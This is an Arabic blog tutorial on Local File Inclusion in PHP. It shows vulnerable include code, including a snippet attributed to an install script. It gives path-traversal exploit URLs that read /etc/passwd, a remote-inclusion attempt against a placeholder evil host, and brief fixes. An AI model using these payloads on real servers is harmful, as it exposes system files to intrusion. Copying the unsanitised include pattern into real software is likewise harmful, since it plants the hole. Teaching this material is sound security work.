A Study in PHP Vulnerabilities - LFI

بسم الله الرحمن الرحيم

اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين

اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم

اليوم نبدا باذن الله في الدرس الثاني من اكتشاف الثغرات

واليوم معنا

#Local File Inclusion


الدوال المسببة للنوع هذا من الثغرات هي نفسها الدوال المسببة لثغرات RFI وهي 

1.include.
2.include_once.
3.require.
4.require_once.

الان بعد ماعرفنا الدوال المسببة للثغرة احب انوّه على شيئين في النوع هذا من الثغرات 

نقدر نستخدم ? وnullbyt مثل ثغرات RFI وايضا 

#-../ 
تعني التحرك بمقدار مجلد واحد للاعلى وهذا في انظمة اللينكس 

وفي انظمة الوندوز تكون بالعكس 

#-..\

 الان بعد ماوضحنا النقطتين هذه ناخذ امثلة عشان توضح الصورة عندنا 
  
            <?php
            $0w4y=$_GET['0w4y'];
            include '/0w4y/'.$0w4y;
            ?>
 الان في الكود السابق مانقدر نسوي انكلود لاي ملف خارجي لان المجلد الموجود هو '/0w4y/' حتى لو جربنا نستغل الكود بالطريقة التالية 

 http://localhost/one.php?0w4y=http://evilscript/evil.php

راح يتغير ليصبح 

http://localhost/one.php?0w4y=/0w4y/http://evilscript/evil.php


في الحالة ذي لا يوجد لنا خيار سوا استدعاء ملف داخلي في السيرفر 

طريقة الاستغلال 
http://127.0.0.1/test.php?0w4y=../../../../../../etc/passwd 

وفي الكود راح يكون الانكلود بالشكل التالي 

/0w4y/../../../../../../etc/passwd

 يعني اول شي مجلد 0w4y اللي في نفس الكود بعدين تحركنا بمقدار 6 مجلدات لنوصل للملف passwd 

كود ثاني لتوضح الصورة وهذا الكود كان منشور في سكربت في مجلد install/install.php

           if(empty($_GET["url"]))
           $url = 'step_welcome.php';
           else
           $url = $_GET["url"];
           .............etc.............
           <p><? include('step/'.$url) ?></p>


الاستغلال راح يكون 

http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd 

طريقة اصلاح الثغرة .
 عدم السماح باستخدام special chars .
طريقة اخرى .

فلترة المتغيرات مثل "." , "/" , "\"


الى هنا ينتهي الدرس والقاكم في دروس اخرى باذن الله 

اذا اعجبتك فاذكر الله وادعل لي وان لم اعجبك فانتقدني لاصبح افضل 

  

تعليقات

المشاركات الشائعة من هذه المدونة

Html code injection-[Post-Get-StoredData!]-

CRLF injection [\r\n Carriage Return]